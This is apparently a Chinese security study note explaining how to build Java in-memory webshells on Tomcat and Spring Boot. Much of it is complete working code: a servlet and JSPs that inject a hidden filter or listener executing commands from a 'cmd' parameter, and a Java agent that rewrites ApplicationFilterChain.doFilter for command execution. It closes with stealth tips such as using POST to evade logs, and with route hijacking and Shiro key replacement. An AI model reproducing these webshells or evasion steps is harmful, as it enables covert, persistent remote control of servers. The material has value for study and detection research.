Java内存马

本文简述作者在学习 Java 内存马中的心得与体会。

Tomcat & Servlet

Tomcat 是一个 web 应用服务器,是一个可以容纳 Servlet 的容器,可以把用户的请求发送给 Servlet 这个组件并把 Servlet 的响应返回给用户,Tomcat 中有四类组件:

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

可以理解为 Tomcat 收到请求后,通过 Tomcat 转发给 HOST,在进一步的根据后缀不同转发到不同的 Context,而后再转发给不同的 Wrapper ,而每个 Wrapper 实例就具体表示着一个 Servlet 定义(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)。

内存马初探

由于现在防护措施越来越多,Upload 文件 shell 已经成为极易于检测的手段,内存马学习就显得尤为的重要。

内存马的分类:

  1. servlet api 类

    • filter 类
    • servlet 类
  2. spring 框架类

    • 拦截器
    • controller
  3. Java Instrumentation 类

    • agent

filter

概述

Filter 就很类似于我们在 python 内存马中所提到的 before_request & after_request,本质用途是进行一次大接口统一的 filter,以应对类似于统一的过滤和检查。

image-20260404163846396

我们很容易想到 filter 的作用就是在 servlet 前去过滤,那么我们如果能动态创建 filter 并执行恶意代码,就打下了所谓的内存马。

流程分析

我们写一个 filter demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.tomcatdemo;

import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("[FilterDemo] init() - Filter 初始化创建");
System.out.println("[FilterDemo] Filter Name: " + filterConfig.getFilterName());
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("[FilterDemo] doFilter() - 请求进来了,执行过滤操作");
System.out.println("[FilterDemo] 远程地址: " + request.getRemoteAddr());

// 关键:调用 chain.doFilter() 才会把请求传递给下一个 Filter 或 Servlet
// 如果注释掉这行,请求就被拦截了,Servlet 收不到请求
chain.doFilter(request, response);

System.out.println("[FilterDemo] doFilter() - Servlet 处理完了,响应回来了");
}

@Override
public void destroy() {
System.out.println("[FilterDemo] destroy() - Filter 被销毁");
}
}

并在 web.xml 中注册 filter:

1
2
3
4
5
6
7
8
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>com.example.tomcatdemo.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>

先梳理一下后面会遇到的几个东西:

FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDefFilter 对象等信息

FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContextContext 接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个 Servlet

首先会通过 ConfigureContext 解析 web.xml 并返回一个 webXml 实例,重点还是在于创建 filterChain:

image-20260404165118781

这里他就创建 filter chain,我们跟进这个方法:

image-20260404165208258

这里就是调用 wrapper.getParent 从 wrapper 获取到 context,然后再从 context 中获取到 FilterMaps,

image-20260404165433982

这里可以看到 FilterMaps 中存放着 filterName 和 urlPattern,然后我们再往下走

image-20260404170134107

发现这里会遍历 FilterMaps 中的 FilterMap,如果当前请求的 url 和 FilterMap 中的 URLPattern 相匹配,就会进入 if 判断调用 context.findFilterConfig 方法在 FilterConfigs 中寻找对应 FilterNameFilterConfig,如果不为空那么就 filterChain.addFilter(filterConfig)

image-20260404170319509

这个函数就比较简单了,就是一个去重 & 添加的过程。

这样的话 FilterChain 就完成了,回到 StandardWrapperValve 这个类中,调用 FilterChain#doFilter 方法.

image-20260404170522352

这个方法其实就是去取出 filter 然后顺次调用 filter#doFilter 方法:

image-20260404170711618

虽然这里记录了 pos 但是实际上不是 while 循环,pos 只是为了记录目前在哪方便回退的时候也调用 filter (根据之前的图)。

做个总结:

通过 URLFilterMaps 中找出与 URL 相对应的 Filter 名称,然后根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig,添加到 FilterChiain 中。

FilterChain 调用 internalDoFilter 遍历获取 FilterConfig,通过 FilterConfig#getFilter 获取 Filter 并调用 Filter#doFilter 方法。

根据上面的总结,不难发现最开始是从 context 中获取 FilterMaps 并顺次调用,那我们可以创建一个 FilterMap 放在数组最前面,匹配的时候就能找到对应的 FilterName.FilterConfig ,添加到 Chain 中,触发shell。

内存马编写

刚才说了需要创建一个 FilterMap 插到 FilterMaps 最前面,那我们先看看怎么获取到的 FilterMaps

1
FilterMap[] filterMaps = context.findFilterMaps();

我们可以通过这段代码获取到 Standardcontext。

1
2
3
4
5
6
7
8
9
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);

ApplicationContext applicationContext = (ApplicationContext) ppctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);

StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

原理就是 Tomcat 其实是采用了 Facade Pattern,外壳是普通 Java 公开的接口,内核才是 servlet 实现的时候具体的接口,而中间是采用着私有变量的形式组合起来的。

获取了 Context 后,我们可以通过修改 Context 的 FilterConfigsfilterDefsfilterMaps,来注入内存马。

流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package com.example.tomcatdemo.memshell;

import javax.servlet.DispatcherType;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class InjectServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("text/plain; charset=UTF-8");
PrintWriter out = resp.getWriter();

try {
// ① 反射拿到 StandardContext
ServletContext servletContext = req.getServletContext();

Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);

Field stdContextField = appContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(appContext);

// ② 定义 FilterDef
String filterName = "evilFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(EvilFilter.class.getName());
filterDef.setFilter(new EvilFilter());
standardContext.addFilterDef(filterDef);

// ③ 定义 FilterMap,拦截所有请求,插到最前面
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

// ④ 反射创建 ApplicationFilterConfig 并放入 filterConfigs
Field configsField = standardContext.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
@SuppressWarnings("unchecked")
Map<String, Object> filterConfigs = (Map<String, Object>) configsField.get(standardContext);

Class<?> filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> constructor = filterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);

out.println("[+] 内存马注入成功!");
out.println("[+] 测试: 访问任意路径加 ?cmd=whoami");

} catch (Exception e) {
out.println("[-] 注入失败: " + e.getMessage());
e.printStackTrace(out);
}
}
}
名称 作用
FilterDef 定义。记录 Filter 的基本信息和实例。
FilterMap 路由。记录哪些 URL 路径要经过这个 Filter。
FilterConfig 运行时状态。将定义好的 Filter 真正激活。

jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd.exe","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

Listener

概述

Listener 内存马的实现其实就是动态注册一个然后在其中编写恶意方法,这里我们需要弄清楚 TomcatListener 的注册流程。

简单编写一个 Listener 项目:

image-20260405100020929

要实现一个 Listener 必须实现一个 EventListener 接口,可以发现有很多接口都继承于这个 EventListener,我们本质上还是需要找到每一个请求都会触发的 Listener,这里我们找到 ServletRequestListener 然后实现它的 requestInitialized 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.tomcatdemo;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ServletListener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("DONE!!!");
}
}

可以发现正常出现了结果:

image-20260405100516348

现在关键的在于,我们能不能动态获取到 servletRequest 这个对象,从而获取到传入的参数。但是和 filter 不同的点在于,doFilter 参数中就含有 servletRequestservletResponse ,而这里它只提供了 ServletRequestEvent 类型的参数。

流程分析

我们可以看到这个方法:

image-20260405103845292

感觉比较靠谱,我们进来调试一下。

image-20260405104146938

image-20260405104047629

其实就是这个类 org.apache.catalina.connector.RequestFacade,它的 Request 变量里就有我们需要的东西,我们反射拿一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.tomcatdemo;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.lang.reflect.*;

public class ServletListener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {

System.out.println("DONE!!!");
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
try {
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
System.out.println(request);
}catch (Exception e){
e.printStackTrace();
}
}
}

那直接 RCE 就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.example.tomcatdemo;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.*;

public class ServletListener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {

String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}

注册流程分析:

我们打断点调试一下,跟进 StandardContext#listenerStart 方法:

image-20260405105114942

这里就是根据 Listener 文字值来进行实例化的:

image-20260405105203954

image-20260405105615504

看一下这个函数:

image-20260405105938066

Listener 的名字就是放在这个数组里的,载入的方式就是从 web.xml 静态加载的,我们更关心动态加载。下面就是遍历 result 分类并加入到 eventListeners 数组中:

image-20260405110549689

这里还会调用 getApplicationEventListeners 方法再获取一次,然后调用 setApplicationEventListeners 设置 Listener

image-20260405110823389

这个函数感觉就是在套娃,就是相当于赋值:

image-20260405111011172

这里就相当于存入了

触发流程分析

刚才说了实例化的 Listener 已经被存入 applicationEventListenersList 中了,下面分析触发的流程。

image-20260405111259428

image-20260405111400430

跟一下栈,很容易就发现就在这个函数中遍历了 applicationEventListenersList 数组,然后调用了每个 listener 实例的 requestInitialized 方法。

内存马编写

我们先调用 getApplicationEventListeners 方法将 applicationEventListenersList 取出来,然后将我们构造好的恶意 listener 添加进去就可以了,至于 context 的获取方法在 filter 类内存马中说过这里不再赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class ListenerMemShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

%>

Java agent & 内存马

Java agent 简介

javaagent 是一种附加技术,它能够允许 JVM 在加载某个 class 文件之前对其字节码进行修改,同时也支持对已加载的 class 继续宁重新加载(Retransform)。

一个 java agent 实现下面两种任一方法:

  • 实现 premain 方法,在 JVM 启动前加载
  • 实现 agentmain 方法,在 JVM 启动后加载
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}

public static void agentmain(String agentArgs) {
...
}

public static void premain(String agentArgs, Instrumentation inst) {
...
}

public static void premain(String agentArgs) {
...
}

这里第一个参数就是 java agent 参数,第二个参数就是 Instrumentation

注意注意,为了能让主 main 识别到 agent 入口类等原信息,需要补充 pom.xml 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<parent>
<groupId>demo</groupId>
<artifactId>java-agent-demo</artifactId>
<version>1.0-SNAPSHOT</version>
</parent>

<artifactId>agent</artifactId>
<packaging>jar</packaging>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.4.2</version>
<configuration>
<archive>
<manifestEntries>
<Premain-Class>demo.agent.StartupLogAgent</Premain-Class>
<Agent-Class>demo.agent.StartupLogAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>

自动编译会:META-INF/MAINFEST.MF(指定 Premain-Class

1
2
3
4
5
6
7
8
9
Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.4.2
Build-Jdk-Spec: 25
Agent-Class: demo.agent.StartupLogAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: demo.agent.StartupLogAgent


浅谈 Instrumentation

Instrumentation JVMTIAgent (JVM Tool Interface Agent)的一部分。Java agent 通过这个类(准确来说是接口)和目标JVM进行交互,从而达到修改数据的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public interface Instrumentation {
//添加 Transformer
void addTransformer(ClassFileTransformer transformer);

boolean removeTransformer(ClassFileTransformer transformer);

// 在类加载之后,重新定义 Class。这个很重要,该方法是 1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

......
}

你可以把 Instrumentation 的工作流程理解为:

  1. 查询: 通过 getAllLoadedClasses 找到目标。
  2. 评估:isModifiableClass 确认目标能不能动。
  3. 准备 Transformer:addTransformer 注册你的修改逻辑。
  4. 执行: 若是新加载的类,JVM 会自动拦截
    • 若是已经在运行的类,手动调用 retransformClasses 触发修改。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class StartupLogAgent implements ClassFileTransformer {
private static final String EDIT_CLASS_NAME = "demo.app.GreetingService";
private static final String EDIT_CLASS_NAME_VM = EDIT_CLASS_NAME.replace('.', '/');
private static final String EDIT_METHOD_NAME = "greet";

public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("[Agent] agentmain invoked");

StartupLogAgent transformer = new StartupLogAgent();
inst.addTransformer(transformer, true);

for (Class<?> loadedClass : inst.getAllLoadedClasses()) {
if (!EDIT_CLASS_NAME.equals(loadedClass.getName())) {
continue;
}

if (!inst.isModifiableClass(loadedClass)) {
return;
}

try {
inst.retransformClasses(loadedClass);
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
return;
}
}

浅谈 ClassFileTransformer

可以发现 addTransformer 方法中,有一个参数是 ClassFileTransformer,它提供了一个 transform 方法:

1
2
3
4
5
6
7
8
9
10
public interface ClassFileTransformer {
default byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
....
}
}
  1. 使用 Instrumentation.addTransformer() 来加载一个转换器。
  2. 转换器的返回结果( transform() 方法的返回值)将成为转换后的字节码。
  3. 对于没有加载的类,会使用 ClassLoader.defineClass() 定义它;对于已经加载的类,会使用 ClassLoader.redefineClasses() 重新定义,并配合 Instrumentation.retransformClasses 进行转换。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@Override
public byte[] transform(
ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (!EDIT_CLASS_NAME_VM.equals(className)) {
return null;
}

try {
ClassPool cp = ClassPool.getDefault();
if (classBeingRedefined != null) {
cp.insertClassPath(new ClassClassPath(classBeingRedefined));
}

CtClass ctc = cp.get(EDIT_CLASS_NAME);
if (ctc.isFrozen()) {
ctc.defrost();
}

CtMethod method = ctc.getDeclaredMethod(EDIT_METHOD_NAME);
String source = "{ return \"Hello, \" + $1 + \"! This message is injected by agentmain.\"; }";
method.setBody(source);

byte[] bytes = ctc.toBytecode();
ctc.detach();
System.out.println("[Agent] transform success");
return bytes;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

利用 AgentAttacher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package demo.attacher;

import com.sun.tools.attach.VirtualMachine;

public class AgentAttacher {

public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.err.println("Usage: java -jar attacher.jar <pid> <agent-jar-path> [agentArgs]");
System.exit(1);
}

String pid = args[0];
String agentJar = args[1];
String agentArgs = args.length > 2 ? args[2] : "from-attach-demo";

System.out.println("[Attacher] attaching to pid " + pid);
VirtualMachine vm = VirtualMachine.attach(pid);
try {
System.out.println("[Attacher] loading agent " + agentJar);
vm.loadAgent(agentJar, agentArgs);
System.out.println("[Attacher] agent loaded");
} finally {
vm.detach();
System.out.println("[Attacher] detached");
}
}
}

利用 Java agent 写 SpringBoot 内存马

先写一个简单的 SpringBoot 项目来分 析 SpringBoot 内存马的构造方式:

image-20260408210411838

直接跟到 internalDoFilter 来:

image-20260408210646741

很明显这里有参数 RequestFacade & ResponseFacade ,就也不用复杂的用 RequestFacade 并通过反射拿 Response 了,直接设置就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package demo.agent;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;

public class StartupLogAgent implements ClassFileTransformer {
private static final String EDIT_CLASS_NAME = "org.apache.catalina.core.ApplicationFilterChain";
private static final String EDIT_CLASS_NAME_VM = EDIT_CLASS_NAME.replace('.', '/');
private static final String EDIT_METHOD_NAME = "doFilter";

public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("[Agent] agentmain invoked");
StartupLogAgent transformer = new StartupLogAgent();
inst.addTransformer(transformer, true);

for (Class<?> loadedClass : inst.getAllLoadedClasses()) {
if (EDIT_CLASS_NAME.equals(loadedClass.getName())) {
if (inst.isModifiableClass(loadedClass)) {
try {
inst.retransformClasses(loadedClass);
System.out.println("[Agent] Target class retransformed: " + EDIT_CLASS_NAME);
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
break;
}
}
}

@Override
public byte[] transform(
ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {

if (!EDIT_CLASS_NAME_VM.equals(className)) {
return null;
}

try {
ClassPool cp = ClassPool.getDefault();
if (classBeingRedefined != null) {
cp.insertClassPath(new ClassClassPath(classBeingRedefined));
}

CtClass ctc = cp.get(EDIT_CLASS_NAME);
if (ctc.isFrozen()) {
ctc.defrost();
}

CtMethod method = ctc.getDeclaredMethod(EDIT_METHOD_NAME);
String source =
"{" +
" String cmd = $1.getParameter(\"cmd\");" +
" if (cmd != null && !cmd.isEmpty()) {" +
" try {" +
" java.io.InputStream in = java.lang.Runtime.getRuntime().exec(cmd).getInputStream();" +
" java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" +
" String output = s.hasNext() ? s.next() : \"\";" +
" $2.getWriter().write(output);" +
" $2.getWriter().flush();" +
" return;" +
" } catch (Exception e) {" +
" e.printStackTrace();" +
" }" +
" }" +
"}";

method.insertBefore(source);

byte[] bytes = ctc.toBytecode();
ctc.detach();
System.out.println("[Agent] Transform Success: Command injection ready.");
return bytes;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

运行:

1
java -jar attacher/target/attacher-1.0-SNAPSHOT.jar 14924 "C:\Users\Lenovo\Documents\Playground\java-agent-demo\agent\target\agent-1.0-SNAPSHOT.jar" from-attach

image-20260408212311825

注意事项:

  1. 由于某些中间件(例如nginx)只记录GET请求,使用POST方式发送数据会更加隐蔽。

  2. 由于在Filter层过滤了http请求,访问任意的路由都可以执行恶意代码,为了隐蔽性不建议使用不存在的路由。

  3. agent可以注入多个,但是相同类名的 transformer 只能注入一个,所以要再次注入别的 agent 的时候记得更改一下类名。

  4. 这种内存马一旦注入到目标程序中,除了重启没有办法直接卸载掉,因为修改掉了原本的类的字节码。它的逻辑只是调用了internalDoFilter()方法(简单来说)。还原就只需要setBody()即可:、

    1
    2
    3
    4
    5
    {
    final javax.servlet.ServletRequest req = $1;
    final javax.servlet.ServletResponse res = $2;
    $0.internalDoFilter(req,res);
    }

java agent后续其他利用

路由劫持

如果在A的 /login 中使用了 /static/js/1.js,那就可以劫持这个路由,回显给他恶意的js代码。

替换shiro的key

shiro 在解析 rememberMe 的时候,先将其 base64 解码,然后使用 AES 解密,在 AES 解密的时候,会调用org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()getDecryptionCipherKey 是一个 getter 方法,它没有复杂的逻辑,通常只是返回一个成员变量,所以直接修改返回值为我们想要的密钥就行。

1
2
3
4
5
6
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String editClassName2 = editClassName.replace('.', '/');
public static final String editMethod = "doFilter";
.....
String source = "{ return java.util.Base64.getDecoder().decode(\"kPH+bIxk5D2deZiIxcaaaA==\"); }";
method.setBody(source);